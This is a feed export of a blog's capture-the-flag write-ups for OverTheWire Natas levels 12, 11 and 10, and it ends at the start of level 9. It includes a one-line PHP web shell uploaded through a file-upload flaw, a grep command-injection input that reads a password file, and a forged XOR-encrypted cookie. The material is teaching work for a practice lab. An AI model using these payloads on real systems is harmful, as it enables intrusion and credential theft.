-JordanJordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com4tag:blogger.com,1999:blog-33242194251147061.post-27489852504724140222012-10-30T19:32:00.000-05:002012-10-30T21:27:08.278-05:00OvertheWire - Natas Wargame Level 12 Writeup<br />
<span style="font-size: large;">Level 12</span><br />
<br />
Using the credentials obtained from the <a href="http://raidersec.blogspot.com/2012/10/overthewire-natas-wargame-level-11.html" target="_blank">previous post</a>, we can log in to Level 12 where we are presented with the following screen:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidMtEVdZMWB06QKHWKTeKzSrhLfh9oWp81GLAQh4cS6Cl9H1xBR8_3gfEAZIsztQR_lsskPTbLzOAAoDyMjpZi4IkFFIBq3WtbJFaVOKobo9KlmOuL3gtcpiUmrQmREPmFMhQqDZhN-A/s1600/natas12.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="324" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidMtEVdZMWB06QKHWKTeKzSrhLfh9oWp81GLAQh4cS6Cl9H1xBR8_3gfEAZIsztQR_lsskPTbLzOAAoDyMjpZi4IkFFIBq3WtbJFaVOKobo9KlmOuL3gtcpiUmrQmREPmFMhQqDZhN-A/s640/natas12.PNG" width="640" /></a></div>
<br />
<a name='more'></a><br />
It appears as though this challenge allows us to upload a file, and then access it later. Let's take a look at the source to verify this:<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> <html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas12</h1>
<div id="content">
<?
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
</code></pre>
<br />
Let's walk through this code:<br />
<br />
<ul>
<li>We start with a genRandomString function, which appears to create a 10 character random string.</li>
<li>Then, we send a directory and an extension to the makeRandomPath, which creates a random filename (<i style="font-weight: bold;">using the extension provided</i>) until the filename is not in use.</li>
<li>We also create a makeRandomPathFromFilename function which taking in a directory and a filename, and extracts the extension from the filename. Then it uses this information to call makeRandomPath.</li>
<li>Then the PHP code checks to see if a file has been uploaded, and then creates a random path from the provided filename. Then it checks the size to make sure it's under 1000 bytes, and if these checks pass, it uploads the file and tells us where it is (it even gives us a link to it - how thoughtful).</li>
</ul>
<div>
I feel as though the greatest hurdle with this challenge is not to get lost in all the random strings being created, and keeping in mind what data we control and how we can use it to our advantage.</div>
<div>
<br /></div>
<div>
The first thing one needs to think about when a web application allows you to upload files is to consider if you can upload server-side code and have it be parsed and executed by the server itself. This is commonly referred to as <a href="https://www.owasp.org/index.php/Unrestricted_File_Upload" target="_blank">Unrestricted File Upload</a>. For example, in this case we can see that the server is using PHP code. If we can find a way to upload a PHP file and execute it for us when we browse to it, we can potentially have a system shell which we can use to output the password of natas13. For now, let's see if we can do this.</div>
<div>
<br /></div>
<div>
An important thing to notice about the source code is where the script retrieves the original filename from. We can see that it is not the provided filename, but rather the 'filename' parameter hidden in the form. This parameter contains a random string followed by a '.jpg' extension. So, tentatively we can see that unless we can intercept and change this value before it is received by the server, we will not be able to (easily) execute PHP code.</div>
<div>
<br /></div>
<div>
Fortunately for us, we can use the Burp Suite (or any other proxy / browser extension you would like) to change the filename value en route to the server. Therefore, the .jpg extension will pose no problem to us.</div>
<div>
<br /></div>
<div>
Before we go any further, let's take a look at exactly what data we can control, and how it winds up after the script executes to see if we can upload a PHP file, have it maintain its extension, and allow us to browse to it.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYIm0TxRh5z_V8rmP52iiHhuxjo4zqKyWdz91SMSTjU-N7IkMyhIivz_nzz1LijYzJRsVnP5lLShRhw64lRy22akASkMCpECqZ_xb2HtHe4cxafK5ri012EJw-e84LvRiyaE2FN6HXRQ/s1600/natas12-info-flow.png" imageanchor="1" style="background-color: transparent; margin-left: 1em; margin-right: 1em;"><img border="0" height="258" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYIm0TxRh5z_V8rmP52iiHhuxjo4zqKyWdz91SMSTjU-N7IkMyhIivz_nzz1LijYzJRsVnP5lLShRhw64lRy22akASkMCpECqZ_xb2HtHe4cxafK5ri012EJw-e84LvRiyaE2FN6HXRQ/s640/natas12-info-flow.png" width="640" /></a></div>
<div>
<br /></div>
<div>
We can see that by changing the filename using our proxy, our extension will stay intact and we will be able to upload a shell. So, now for the PHP Shell code. I just quickly created the following to take a command and execute it (there are much prettier and more functional shells available for those interested).</div>
<div>
<br /></div>
<div>
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> <?
// Rudimentary Shell
passthru($_GET['cmd']);
?>
</code></pre>
<br />
I then saved it to 'shell.php'. Let's fire up Burp, and see what happens when we upload the file.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieZord3VbOCS25TjAuf9nVuzL7sXOaKfRpxM0WKzZonIuXtGGfk1O33PI7ALbKLYedYdJVnnfaDqFO9aFTzvsDHen9dL9OYZ2ajGcC8aPj4-N7IcylVoZUcsdcAkr79j8yIg2UmuafZw/s1600/natas12origfile.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="470" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieZord3VbOCS25TjAuf9nVuzL7sXOaKfRpxM0WKzZonIuXtGGfk1O33PI7ALbKLYedYdJVnnfaDqFO9aFTzvsDHen9dL9OYZ2ajGcC8aPj4-N7IcylVoZUcsdcAkr79j8yIg2UmuafZw/s640/natas12origfile.PNG" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
We then change the filename:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXzN9Ysr0o-yjvR65kWVJbIHFnrO9arO8mP-VmVBDAGSom9UD-eCIdF9uxkz8ZgkQvVfmHuhpL_in6R9KSoy9ghzBsSgCXCm1UH9ERfUs6ho8NNOtmeoLpmVCvouqjpE45nnmvqo1QGw/s1600/natas12changedfile.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="467" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXzN9Ysr0o-yjvR65kWVJbIHFnrO9arO8mP-VmVBDAGSom9UD-eCIdF9uxkz8ZgkQvVfmHuhpL_in6R9KSoy9ghzBsSgCXCm1UH9ERfUs6ho8NNOtmeoLpmVCvouqjpE45nnmvqo1QGw/s640/natas12changedfile.PNG" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Then, we receive our expected confirmation:</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnYfSX9HE1CX5bwhdRgIHjnWKxpPcQbyPzm6CJcZcFWejPgbV5WzdrdGr3NI-Bg61CBkIpjbNK9zJyAajbgRsTrAmQZ5y3ZZ1ZU9CrnVWR3gvh7LqOWXAsxZ03OLOz6nhjj14wDN9LsQ/s1600/natas12uploadsuccess.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="304" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnYfSX9HE1CX5bwhdRgIHjnWKxpPcQbyPzm6CJcZcFWejPgbV5WzdrdGr3NI-Bg61CBkIpjbNK9zJyAajbgRsTrAmQZ5y3ZZ1ZU9CrnVWR3gvh7LqOWXAsxZ03OLOz6nhjj14wDN9LsQ/s640/natas12uploadsuccess.PNG" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
We browse to the file using the URL [filename].php?cmd=cat /etc/natas_webpass/natas13, and we receive the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdYtEm54NVMjzokNTsVzTv8mi9S018veoZHm68XsUX5J8EepIcbQ5VlpHZpDTxscRtUidzPX9ufH1jFdJ8HoGbsC0dBImbLyZ2AbCu4H5uz_tDiJiOx34pczz94sVFJBbA3wejBgaU2w/s1600/natas12success.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdYtEm54NVMjzokNTsVzTv8mi9S018veoZHm68XsUX5J8EepIcbQ5VlpHZpDTxscRtUidzPX9ufH1jFdJ8HoGbsC0dBImbLyZ2AbCu4H5uz_tDiJiOx34pczz94sVFJBbA3wejBgaU2w/s1600/natas12success.PNG" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
As expected, we now have system command execution on the host, and we can use these credentials to log into the next level. Play around (non-destructively of course) to see what other things you can do with command execution. One idea is to take a look at what everyone else used for shells :). </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
I hope this helps, and there will be more writeups to come.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
-Jordan</div>
<br /></div>
Jordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com3tag:blogger.com,1999:blog-33242194251147061.post-84482654239350578252012-10-30T01:17:00.000-05:002012-10-30T01:17:42.211-05:00OvertheWire - Natas Wargame Level 11 Writeup<span style="font-size: large;">Level 11</span><br />
<br />
Using the credentials obtained from the previous post, we can log in to Level 11 where we are presented with the following screen:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjfX1R8gfYVw0IA9A0WpvNATqNZAnUEztGxLJSVXUaNHTOXo6fH0arTen2Xm3IH4z1hgblbsBlGgont1db4A5_9Vo7mB9lBls7JHS94OFG3WrgTbS5cd46smvSRBPD0zHhSymkcFTlNg/s1600/natas11.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="340" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjfX1R8gfYVw0IA9A0WpvNATqNZAnUEztGxLJSVXUaNHTOXo6fH0arTen2Xm3IH4z1hgblbsBlGgont1db4A5_9Vo7mB9lBls7JHS94OFG3WrgTbS5cd46smvSRBPD0zHhSymkcFTlNg/s640/natas11.PNG" width="640" /></a></div>
<br />
<a name='more'></a>We can immediately see that this challenge will have to do something with cookies, since the description mentions that 'Cookies are protected with XOR encryption.' Let's take a look at the cookies we do have:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_ste094MJGJF-Mowll4qb17WaM3S3_J-s5mAeK_YaQUIXQfyNYB4jNCCJ6V80mDoMLWnsWMGjPUQ5EAgca61Yqc1O73dD9O6-_pFXEybFkkca6TAW3-ElMtkcpX8wteUgVygp2xxOlA/s1600/natas11_xoredcookie.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_ste094MJGJF-Mowll4qb17WaM3S3_J-s5mAeK_YaQUIXQfyNYB4jNCCJ6V80mDoMLWnsWMGjPUQ5EAgca61Yqc1O73dD9O6-_pFXEybFkkca6TAW3-ElMtkcpX8wteUgVygp2xxOlA/s1600/natas11_xoredcookie.png" /></a></div>
<br />
We can see that we have a cookie called 'data', which appears to be base64 encoded. Before going any further, let's take a look at the source to see what exactly we're dealing with:<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> <html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}
saveData($data);
?>
<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>
<?
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}
?>
<form>
Background color: <input name=bgcolor value="<?=$data['bgcolor']?>">
<input type=submit value="Set color">
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
</code></pre>
<br />
Let's walkthrough the PHP code and see what it does:<br />
<br />
<ul>
<li>We first define an array with the following values</li>
<ul>
<li>showpassword - no</li>
<li>bgcolor - #ffffff</li>
</ul>
<li>Then, we create an 'xorencrypt' function, which takes a string as input and performs an XOR operation with a censored key.</li>
<li>We then create a 'loadData' function which loads the default array into $mydata, checks to see if there is data in our cookie, and if so attempts to base64_decode it, perform the XOR operation on it, and decode the JSON into an array.</li>
<ul>
<li>If this is indeed an array, and the proper values are found, the values of mydata are updated with the values from the cookie.</li>
<li>If not, the default values are kept</li>
</ul>
<li>The value of $mydata is returned.</li>
<li>We then create a 'saveData' function which is used to set a cookie to data which is JSON encoded, XOR'd, and then base64 encoded. </li>
<li>The execution of the PHP first calls loadData to process any cookie data.</li>
<li>Then the background color request value is handled</li>
<li>Finally, whatever data has been loaded is set as our cookie value.</li>
</ul>
<div>
We can see at the end of the source that if $data['showpassword'] is set to 'yes', then the password will be displayed. Therefore, this is our goal.</div>
<div>
<br /></div>
<div>
Let's stop and think about <i>exactly</i> what we need to do, and what we have to do it. We want to obtain the password for natas12, which is only displayed if the 'showpassword' key of $data is set to 'yes'. This would only occur if during the loadData function our cookie contained the encoded, encrypted version of the array. However, to get the encrypted version of any input, we first need the key so that when it is unencrypted by the 'loadData' function, it will be usable.</div>
<div>
<br /></div>
<div>
We are given the following pieces of data:</div>
<div>
<ul>
<li>The default array used to generate the default cookie value</li>
<li>The default cookie value</li>
<li>The functions used to encrypt and encode our data</li>
</ul>
<div>
The key to this challenge is to realize that we <i>don't need to brute force the key</i>. The property of XOR encryption that will drastically help us in this challenge is that while:</div>
</div>
<div>
<br /></div>
<div style="text-align: center;">
<span style="color: yellow;"><b>Original_Data XOR KEY = Encrypted_Data</b></span></div>
<div style="text-align: left;">
<span style="color: yellow;"><b><br /></b></span></div>
<div style="text-align: left;">
The following is also true:</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: center;">
<span style="color: yellow;"><b>Original_Data XOR Encrypted_Data = KEY</b></span></div>
<div style="text-align: left;">
<span style="color: yellow;"><b><br /></b></span></div>
<div style="text-align: left;">
This helps us because we can see above that we are given the default original data, as well as the default encrypted data. Let's use the following PHP code (recycling some of their functions) to generate our key:</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> <?
$orig_cookie = base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw');
function xor_encrypt($in) {
$text = $in;
$key = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
print xor_encrypt($orig_cookie);
?></code><span style="color: white;"> </span></pre>
<br />
In this example, we are using the base64_decoded value of our cookie as our Encrypted_Data and we are using the json_encoded default array as our Original_Data. We know these are the two values to use because these are the values sent to the XOR function in the loadData and saveData functions.<br />
<br />
Running this code gives us the following:<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> root@bt:~/natas# php5 level11.php
qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
</code></pre>
<br />
We can see that this key is the value 'qw8j' repeated many times. Therefore, we can deduce that 'qw8j' is our key, which we can use on any input to generate the encrypted output.<br />
<br />
Let's adjust our PHP code to XOR the json_encode(d) <i>new</i> array, which sets the 'showpassword' value to 'yes':<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> function xor_encrypt() {
$text = json_encode(array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"));
$key = "qw8J";
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
print base64_encode(xor_encrypt());
</code></pre>
<br />
We now use the json_encoded representation of our adjusted array to be XOR'd with our derived key. Executing the code gives us the following:<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> root@bt:~/natas# php5 level11.php
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
</code></pre>
<br />
Let's use this value as our cookie and see what happens:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhef3F6ZPIzST1pay6hvX9bv2gYWJkjb3Jo5PfAo0TFT-5QUOSb-v66sYV5mJKDjO5e55uDTDXNb4mQYCB49b1Es5N1xEd1urp4yMXSdeHWbGqzAblj4q1PYviSkjGzxnb6ZKlOz4EpcA/s1600/natas11_success.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="334" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhef3F6ZPIzST1pay6hvX9bv2gYWJkjb3Jo5PfAo0TFT-5QUOSb-v66sYV5mJKDjO5e55uDTDXNb4mQYCB49b1Es5N1xEd1urp4yMXSdeHWbGqzAblj4q1PYviSkjGzxnb6ZKlOz4EpcA/s640/natas11_success.PNG" width="640" /></a></div>
<br />
As we hoped, the value was decoded, unencrypted, then json_decoded successfully, and the password is returned. We can use these credentials to log in to the next level.<br />
<br />
I want to give a 'Thank you!' to Reddit user <a href="http://www.reddit.com/user/NearOrFar" target="_blank">NearOrFar</a>. I had derived the correct key, but did not recognize that it was 4 repeating characters. When using the long key to obtain the new cookie, since the key did not end on a 'complete cycle' of the 4 character key, the resulting array was skewed, and was not being encrypted correctly. NearOrFar was able to help diagnose this problem, and after making the truncation to 4 characters, the issue was solved.<br />
<br />
More writeups to come.<br />
<br />
-Jordan</div>
Jordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com3tag:blogger.com,1999:blog-33242194251147061.post-74789918560755111882012-10-29T18:20:00.004-05:002012-10-29T18:22:44.804-05:00OvertheWire - Natas Wargame Level 10 Writeup<span style="font-size: large;">Level 10</span><br />
<br />
Using the credentials obtained in the previous writeup, we can log in to Level 10, where we are presented with the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8E4C0jf0axSNejTNYhlcPZi0oAcvIS2n3qZIjW_zlFBkFFRsdTafoKSRrsTM7_2d0VMKsX9VF4h_OxUqnvchWXET3SAq-67nf13RxYvua4kBAh4Tx1DhyZXkddM2at3JN8eTvHZuOCA/s1600/natas10.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="378" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8E4C0jf0axSNejTNYhlcPZi0oAcvIS2n3qZIjW_zlFBkFFRsdTafoKSRrsTM7_2d0VMKsX9VF4h_OxUqnvchWXET3SAq-67nf13RxYvua4kBAh4Tx1DhyZXkddM2at3JN8eTvHZuOCA/s640/natas10.PNG" width="640" /></a></div>
<br />
<a name='more'></a>It appears as though the only difference between this challenge and Level 9 is that certain characters are filtered. Let's see the source to figure out which characters are affected:<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> <html>
<head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>
<body>
<h1>natas10</h1>
<div id="content">
For security reasons, we now filter on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
</code></pre>
<br />
We can see the preg_match function in use to filter out the characters ';' and '&'. Therefore, we won't be able to terminate the command like we did in the previous writeup. However, what if we could utilize the grep command to output the contents of a particular file using a wildcard keyword, and specifying the password file of the natas11 user?<br />
<br />
We can do so with the following command:<br />
<br />
<div style="text-align: center;">
<span style="font-family: Courier New, Courier, monospace;">.* /etc/natas_webpass/natas11 #</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div style="text-align: left;">
<span style="font-family: inherit;">This command searches for any character in the file and comments out the reference to dictionary.txt. Let's see what happens:</span></div>
<div style="text-align: left;">
<span style="font-family: inherit;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5W2SJOvknev6cnNNKwEKQBAxkmXqdbWVB2m056W8zozTCvkFG9J2xpmyxl74QVw2VblDZzEXytNgUDpKKDl33bItrfPVjSHQS5tQzxvhUOHYbyj6xP-V8QXAOS-HLX0XM3pSxlU5f-g/s1600/natas10_sucess.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="454" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5W2SJOvknev6cnNNKwEKQBAxkmXqdbWVB2m056W8zozTCvkFG9J2xpmyxl74QVw2VblDZzEXytNgUDpKKDl33bItrfPVjSHQS5tQzxvhUOHYbyj6xP-V8QXAOS-HLX0XM3pSxlU5f-g/s640/natas10_sucess.PNG" width="640" /></a></div>
<div style="text-align: left;">
<span style="font-family: inherit;"><br /></span></div>
<div style="text-align: left;">
Awesome. We can see that our command completed successfully, and we can see the contents of the password file at the bottom (in addition to the contents of what appears to be the .htaccess file for natas10). We can use this password to log in to the next level. More writeups to come.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
- Jordan</div>
Jordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com4tag:blogger.com,1999:blog-33242194251147061.post-52713184401874157872012-10-29T18:14:00.000-05:002012-10-29T18:22:44.800-05:00OvertheWire - Natas Wargame Level 9 Writeup<span style="font-size: large;">Level 9</span><br />
<br />
Using the credentials obtained in the <a href="http://raidersec.blogspot.com/2012/10/overthewire-natas-wargame-level-8.html" target="_blank">previous writeup</a>, we can log in to Level 9, where we are presented with the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
